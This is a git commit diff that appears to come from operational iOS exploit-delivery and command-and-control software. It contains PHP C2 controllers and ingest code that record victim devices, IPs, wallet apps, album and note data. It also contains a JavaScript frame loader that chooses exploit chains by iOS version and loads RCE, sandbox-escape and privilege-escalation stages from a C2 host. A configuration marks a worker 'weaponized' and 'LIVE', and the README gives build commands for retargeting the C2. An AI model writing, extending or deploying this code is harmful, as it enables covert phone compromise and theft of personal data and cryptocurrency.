This commit is contained in:
hashbro
2026-08-26 06:10:33 +08:00
parent 5cb5744b7a
commit 0ce51aa33e
41 changed files with 1146 additions and 1154 deletions
@@ -46,7 +46,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request); $filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters); $q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; $sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'created_at'); $field = (string) $request->query('field', 'created_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) { if (! in_array($field, $sortable, true)) {
@@ -63,7 +63,7 @@ class DeviceController extends Controller
return [ return [
'id' => $d->id, 'id' => $d->id,
'device_id' => $d->device_id, 'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA, 'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA),
'channel_id' => $d->channel_id ?: '', 'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '', 'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '', 'device_model' => $d->device_model ?: '',
@@ -593,7 +593,7 @@ class DeviceController extends Controller
} }
/** /**
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/ */
private function filtersFrom(Request $request): array private function filtersFrom(Request $request): array
{ {
@@ -605,7 +605,7 @@ class DeviceController extends Controller
return [ return [
'device_key' => trim((string) $request->query('device_key', '')), 'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')), 'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))),
'channel_id' => trim((string) $request->query('channel_id', '')), 'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')), 'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')), 'ip' => trim((string) $request->query('ip', '')),
@@ -618,7 +618,7 @@ class DeviceController extends Controller
} }
/** /**
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/ */
private function filteredQuery(array $filters): Builder private function filteredQuery(array $filters): Builder
{ {
@@ -628,8 +628,8 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') { if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
} }
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) { if ($filters['chain'] !== null) {
$q->where('devices.family', $filters['family']); $q->where('devices.chain', $filters['chain']);
} }
if ($filters['channel_id'] !== '') { if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
@@ -658,4 +658,20 @@ class DeviceController extends Controller
return $q; return $q;
} }
private function parseChainFilter(mixed $raw): ?int
{
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
if ($value === '' || $value === null) {
return null;
}
if ($value === 1 || $value === '1' || $value === 'coruna') {
return Device::CHAIN_CORUNA;
}
if ($value === 2 || $value === '2' || $value === 'darksword') {
return Device::CHAIN_DARKSWORD;
}
return null;
}
} }
@@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller
{ {
$payload = $this->payloadFromQueryOrJson($request); $payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request)); return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
} }
public function peStage(Request $request, string $name = ''): SymfonyResponse public function peStage(Request $request, string $name = ''): SymfonyResponse
@@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller
$body['pe_stage'] = $stage; $body['pe_stage'] = $stage;
} }
return $this->finish($request, $path, $payload, $this->logAck($request), $body); $file = public_path('next-chain/pe_stage/'.$stage.'.js');
if (! is_file($file)) {
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
}
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
return $this->finish(
$request,
$path,
$payload,
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
$body
);
} }
public function register(Request $request): SymfonyResponse public function register(Request $request): SymfonyResponse
@@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller
array $payload, array $payload,
SymfonyResponse $response, SymfonyResponse $response,
array|string|null $logBody = null, array|string|null $logBody = null,
bool $ingest = true,
): SymfonyResponse { ): SymfonyResponse {
try { if ($ingest) {
$this->ingest->ingest($request, $path, $payload); try {
} catch (\Throwable $e) { $this->ingest->ingest($request, $path, $payload);
error_log('[ds] ingest '.$path.' '.$e->getMessage()); } catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
} }
$body = $logBody ?? $this->previewBody($request); $body = $logBody ?? $this->previewBody($request);
+10 -4
View File
@@ -13,18 +13,18 @@ class Device extends Model
public const WALLET_YES = 2; public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna'; public const CHAIN_CORUNA = 1;
public const FAMILY_DARKSWORD = 'darksword'; public const CHAIN_DARKSWORD = 2;
protected $fillable = [ protected $fillable = [
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
]; ];
protected $attributes = [ protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN, 'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA, 'chain' => self::CHAIN_CORUNA,
]; ];
protected function casts(): array protected function casts(): array
@@ -33,10 +33,16 @@ class Device extends Model
'telegram_notified' => 'boolean', 'telegram_notified' => 'boolean',
'album_storage' => 'boolean', 'album_storage' => 'boolean',
'has_wallet' => 'integer', 'has_wallet' => 'integer',
'chain' => 'integer',
'wallet_names' => 'array', 'wallet_names' => 'array',
]; ];
} }
public function isDarkSword(): bool
{
return (int) $this->chain === self::CHAIN_DARKSWORD;
}
public function hasWalletApps(): bool public function hasWalletApps(): bool
{ {
return (int) $this->has_wallet === self::WALLET_YES; return (int) $this->has_wallet === self::WALLET_YES;
+4 -4
View File
@@ -42,8 +42,8 @@ class DarkSwordIngestAdapter
public function ingest(Request $request, string $path, array $payload): void public function ingest(Request $request, string $path, array $payload): void
{ {
match ($path) { match ($path) {
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload), '/api/ds/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => $this->ingestLog($request, $payload), '/api/ds/log' => null,
'/a' => $this->ingestProfile($request, $payload), '/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload), '/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload), '/nb' => $this->ingestNotes($request, $payload),
@@ -277,7 +277,7 @@ class DarkSwordIngestAdapter
if ($existing) { if ($existing) {
$touch = [ $touch = [
'updated_at' => now(), 'updated_at' => now(),
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
]; ];
if ($ip !== '') { if ($ip !== '') {
$touch['ip'] = $ip; $touch['ip'] = $ip;
@@ -299,7 +299,7 @@ class DarkSwordIngestAdapter
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => $key, 'device_id' => $key,
'family' => Device::FAMILY_DARKSWORD, 'chain' => Device::CHAIN_DARKSWORD,
'ip' => $ip !== '' ? $ip : null, 'ip' => $ip !== '' ? $ip : null,
'device_model' => $model, 'device_model' => $model,
'ios_version' => $ios, 'ios_version' => $ios,
+1 -1
View File
@@ -27,7 +27,7 @@ class DsBeaconQueue
public function seed(Device $device): void public function seed(Device $device): void
{ {
if ($device->family !== Device::FAMILY_DARKSWORD) { if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
return; return;
} }
-1
View File
@@ -65,7 +65,6 @@ return Application::configure(basePath: dirname(__DIR__))
'war', 'war',
'p', 'p',
'stats', 'stats',
'log.html',
]); ]);
$middleware->redirectGuestsTo(function () { $middleware->redirectGuestsTo(function () {
+7 -23
View File
@@ -1,31 +1,15 @@
# channel-builder-ds # channel-builder-ds
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts). `source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
`tools/build.py` rewrites C2 / delivery origins and copies the result to
`public/next-chain`. Runtime splits two bases:
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`) **资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war) **C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
If the page is served under `/next-chain/`, delivery host is inferred automatically. weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
Override in `source/config.js`:
```js
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
deliveryPath: "/next-chain", // location.origin + path
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
```
```bash ```bash
# 本地实验室 php artisan ds:build --c2 http://192.168.31.130:8000
php artisan ds:build --origin http://192.168.31.130:8000 php artisan xxbb:repack
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
php artisan ds:build --origin https://你的域名
# 等价
cd channel-builder-ds
python3 tools/build.py --origin https://你的域名
``` ```
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。 PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
@@ -0,0 +1 @@
{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true}
@@ -0,0 +1 @@
{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"}
+127 -165
View File
@@ -2,10 +2,92 @@
'use strict'; 'use strict';
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 }; var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
window.__LAB_CHAIN__ = ''; window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || '';
function trimSlash(s) {
return String(s || '').replace(/\/+$/, '');
}
function hostOnly(raw) {
return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {}
try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {}
try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {}
try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {}
return code;
}
function labChannelCode() {
try {
if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__);
} catch (e0) {}
try {
var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || '';
if (stored) return persistChannelCode(stored);
} catch (e1) {}
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (e2) {}
return '';
}
function assetBase() {
try {
if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__);
} catch (e0) {}
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin);
} catch (e1) {}
var path = '/next-chain';
try {
var cfg = window.NEWS2_CONFIG || {};
if (cfg.deliveryPath) path = String(cfg.deliveryPath);
} catch (e2) {}
if (path.charAt(0) !== '/') path = '/' + path;
return origin + path.replace(/\/+$/, '');
}
function apiBase() {
try {
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
try {
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
} catch (e1) {}
return '';
}
function applyExfil(ex) {
if (!ex || !ex.host) return;
window.__LAB_EXFIL__ = {
host: hostOnly(ex.host),
domain: hostOnly(ex.domain || ex.host),
http_port: ex.http_port != null ? Number(ex.http_port) : 80,
https_port: ex.https_port != null ? Number(ex.https_port) : 80,
tls: !!ex.tls,
prefer_https: !!ex.prefer_https,
stats_url: ex.stats_url || '',
stats_url_direct: ex.stats_url_direct || '',
delivery_stats_url: ex.delivery_stats_url || '',
};
}
var _stageQueue = [];
var _lastPostedStage = '';
function notify(stage, progress, label) { function notify(stage, progress, label) {
try { try {
if (window.parent && window.parent !== window) { if (window.parent && window.parent !== window) {
@@ -18,84 +100,46 @@
}, '*'); }, '*');
} }
} catch (e) {} } catch (e) {}
enqueueStage(stage, progress, label);
}
function enqueueStage(stage, progress, label) {
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
if (key === _lastPostedStage) return;
_lastPostedStage = key;
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
flushStageReports();
}
function flushStageReports() {
var id = '';
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
if (!id) return;
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
while (_stageQueue.length) {
var item = _stageQueue.shift();
try {
fetch(apiUrl('/api/ds/log'), {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
credentials: 'omit',
body: JSON.stringify({
deviceUUID: id,
stage: item.stage,
progress: item.progress,
label: item.label,
chain: window.__LAB_CHAIN__ || '',
channelCode: channel
})
}).catch(function () {});
} catch (eS) {}
}
} }
labChannelCode();
window.__LAB_DELIVERY_HOST__ = assetBase();
try {
if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil);
} catch (eCfg) {}
var base = assetBase();
var api = apiBase();
notify('boot', STAGE.boot, 'frame_boot'); notify('boot', STAGE.boot, 'frame_boot');
if (typeof labEnsureHosts === 'function') labEnsureHosts();
var base = (typeof labDeliveryHost === 'function')
? labDeliveryHost()
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
window.__LAB_DELIVERY_HOST__ = base;
function apiUrl(path) {
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
}
function assetUrl(path) {
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
}
// 記錄 frame.html 載入時間戳
console.log('[Frame] Loaded at', new Date().toISOString()); console.log('[Frame] Loaded at', new Date().toISOString());
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {}); fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {});
function resolveExfilInline() { function resolveExfilInline() {
try { try {
var xhr = new XMLHttpRequest(); var xhr = new XMLHttpRequest();
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false); xhr.open('GET', api + '/api/ds/chain-targets', false);
xhr.send(); xhr.send();
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
var d = JSON.parse(xhr.responseText); var d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) { if (d.exfil && d.exfil.host) {
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); applyExfil(d.exfil);
else window.__LAB_EXFIL__ = d.exfil; api = apiBase();
return; return;
} }
} }
} catch (e) {} } catch (e) {}
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) { if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
window.__LAB_EXFIL__ = { var h = hostOnly(api || location.hostname);
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', applyExfil({
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', host: h,
http_port: 443, domain: h,
https_port: 443, http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
tls: false, https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
tls: location.protocol === 'https:',
prefer_https: false, prefer_https: false,
stats_url: '', });
stats_url_direct: '', api = apiBase();
delivery_stats_url: '',
};
} }
} }
resolveExfilInline(); resolveExfilInline();
@@ -114,7 +158,7 @@
function cmpVer(a, b) { function cmpVer(a, b) {
for (var i = 0; i < 3; i++) { for (var i = 0; i < 3; i++) {
var ai = a[i] || 0, bi = b[i] || 0; var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0;
if (ai < bi) return -1; if (ai < bi) return -1;
if (ai > bi) return 1; if (ai > bi) return 1;
} }
@@ -132,7 +176,6 @@
function isSilkPathRange(v) { function isSilkPathRange(v) {
if (!v || !v.length) return false; if (!v || !v.length) return false;
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
// 17.2.2+ through 18.3 — fills post-Coruna gap
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true; if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
if (maj === 18 && min <= 3) return true; if (maj === 18 && min <= 3) return true;
return false; return false;
@@ -156,19 +199,7 @@
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
} }
}; };
document.body.appendChild(s); (document.body || document.documentElement).appendChild(s);
}
function loadChainLoader(onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
};
document.body.appendChild(s);
} }
var ios = parseIosVersion(); var ios = parseIosVersion();
@@ -187,14 +218,14 @@
var apiPlan = null; var apiPlan = null;
try { try {
var xhrPlan = new XMLHttpRequest(); var xhrPlan = new XMLHttpRequest();
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false); xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false);
xhrPlan.send(); xhrPlan.send();
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) { if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
apiPlan = JSON.parse(xhrPlan.responseText); apiPlan = JSON.parse(xhrPlan.responseText);
if (apiPlan.chain) chain = apiPlan.chain; if (apiPlan.chain) chain = apiPlan.chain;
if (apiPlan.exfil) { if (apiPlan.exfil) {
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil); applyExfil(apiPlan.exfil);
else window.__LAB_EXFIL__ = apiPlan.exfil; api = apiBase();
} }
window.__LAB_BAND__ = apiPlan.band || null; window.__LAB_BAND__ = apiPlan.band || null;
window.__LAB_GATED__ = !!apiPlan.gated; window.__LAB_GATED__ = !!apiPlan.gated;
@@ -204,19 +235,16 @@
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || ''; window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || ''; window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt); window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
}
try { try {
var pw = window.__LAB_RECOMMENDED_WORKER__; var pw = window.__LAB_RECOMMENDED_WORKER__;
if (pw) { if (pw) {
var l = document.createElement('link'); var l = document.createElement('link');
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw); l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw;
document.head.appendChild(l); document.head.appendChild(l);
} }
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){ ['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) {
var l2=document.createElement('link'); var l2 = document.createElement('link');
l2.rel='prefetch'; l2.href=assetUrl('/'+f); l2.rel = 'prefetch'; l2.href = base + '/' + f;
document.head.appendChild(l2); document.head.appendChild(l2);
}); });
} catch (ePre) {} } catch (ePre) {}
@@ -257,7 +285,6 @@
du = m ? decodeURIComponent(m[1]) : ''; du = m ? decodeURIComponent(m[1]) : '';
} catch (eCk) {} } catch (eCk) {}
} }
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32(); if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32); window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {} try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
@@ -267,20 +294,14 @@
} catch (e0) { } catch (e0) {
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {} try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
} }
window.addEventListener('message', function (ev) {
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
try { flushStageReports(); } catch (eF) {}
});
})(); })();
try { flushStageReports(); } catch (eFlush) {}
(function registerFrameDevice() { (function registerFrameDevice() {
try { try {
var id = window.__LAB_DEVICE_UUID__ || ''; var id = window.__LAB_DEVICE_UUID__ || '';
if (!id) return; if (!id) return;
var iosStr = ios ? ios.join('.') : ''; var iosStr = ios ? ios.join('.') : '';
var channel = labChannelCode();
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id }; var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
var regBody = JSON.stringify({ var regBody = JSON.stringify({
deviceUUID: id, deviceUUID: id,
@@ -289,9 +310,9 @@
ios: iosStr, ios: iosStr,
ios_version: iosStr, ios_version: iosStr,
chain: chain === 'blocked' ? 'out_of_scope' : chain, chain: chain === 'blocked' ? 'out_of_scope' : chain,
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '' channelCode: channel
}); });
fetch(apiUrl('/api/ds/device/register'), { fetch(api + '/api/ds/device/register', {
method: 'POST', method: 'POST',
headers: regHeaders, headers: regHeaders,
credentials: 'omit', credentials: 'omit',
@@ -301,30 +322,25 @@
if (canon) { if (canon) {
window.__LAB_DEVICE_UUID__ = canon; window.__LAB_DEVICE_UUID__ = canon;
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {} try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
try {
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
} catch (e4) {}
if (window.parent && window.parent !== window) {
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
}
} }
}).catch(function () {}); }).catch(function () {});
} catch (e) {} } catch (e) {}
})(); })();
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown'); console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
console.log('[Frame] Chain selected:', chain); console.log('[Frame] Chain selected:', chain);
(function () { (function () {
var id = window.__LAB_DEVICE_UUID__ || ''; var id = window.__LAB_DEVICE_UUID__ || '';
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown')); var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id); if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
fetch(apiUrl('/api/ds/log?' + q), { var ch = labChannelCode();
if (ch) q += '&channelCode=' + encodeURIComponent(ch);
fetch(api + '/api/ds/log?' + q, {
method: 'GET', method: 'GET',
headers: id ? { 'X-Device-UUID': id } : {} headers: id ? { 'X-Device-UUID': id } : {}
}).catch(function () {}); }).catch(function () {});
})(); })();
function setHold(kind) { function setHold(kind) {
try { try {
var ts = String(Date.now()); var ts = String(Date.now());
@@ -334,86 +350,32 @@
localStorage.setItem('__ds_rce_hold', ts); localStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_rce_hold', ts); sessionStorage.setItem('__ds_rce_hold', ts);
} }
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
}
} catch (e) {} } catch (e) {}
} }
if (chain === 'coruna') { if (chain === 'darksword' || chain === 'ghostwave') {
notify('loader', STAGE.loader);
// Prefer full group.html entry when top-level; inside iframe use loader
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
? window.__LAB_ENTRY__
: '/coruna/group.html';
try {
if (window.top === window) {
location.replace(assetUrl(corunaEntry) + (location.search || ''));
return;
}
} catch (eTop) {}
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
notify('worker', STAGE.worker);
});
} else if (chain === 'silkpath') {
setHold('rce'); setHold('rce');
notify('loader', STAGE.loader); notify('loader', STAGE.loader);
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () { loadScript(base + '/rce_loader.js', function () {
notify('worker', STAGE.worker); notify('worker', STAGE.worker);
}); });
} else if (chain === 'darksword' || chain === 'ghostwave') { } else if (chain === 'coruna' || chain === 'silkpath') {
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
// reload the page while stage1 is still running (looks like "auto refresh").
setHold('rce');
notify('loader', STAGE.loader); notify('loader', STAGE.loader);
// Load plaintext rce_loader.js
loadChainLoader(function () {
notify('worker', STAGE.worker);
});
} else { } else {
loadScript(assetUrl('/chain_blocked.js'), function () { notify('loader', STAGE.loader);
notify('loader', STAGE.loader);
});
} }
var _log = console.log; var _log = console.log;
console.log = function () { console.log = function () {
var msg = Array.prototype.join.call(arguments, ' '); var msg = Array.prototype.join.call(arguments, ' ');
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker); if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
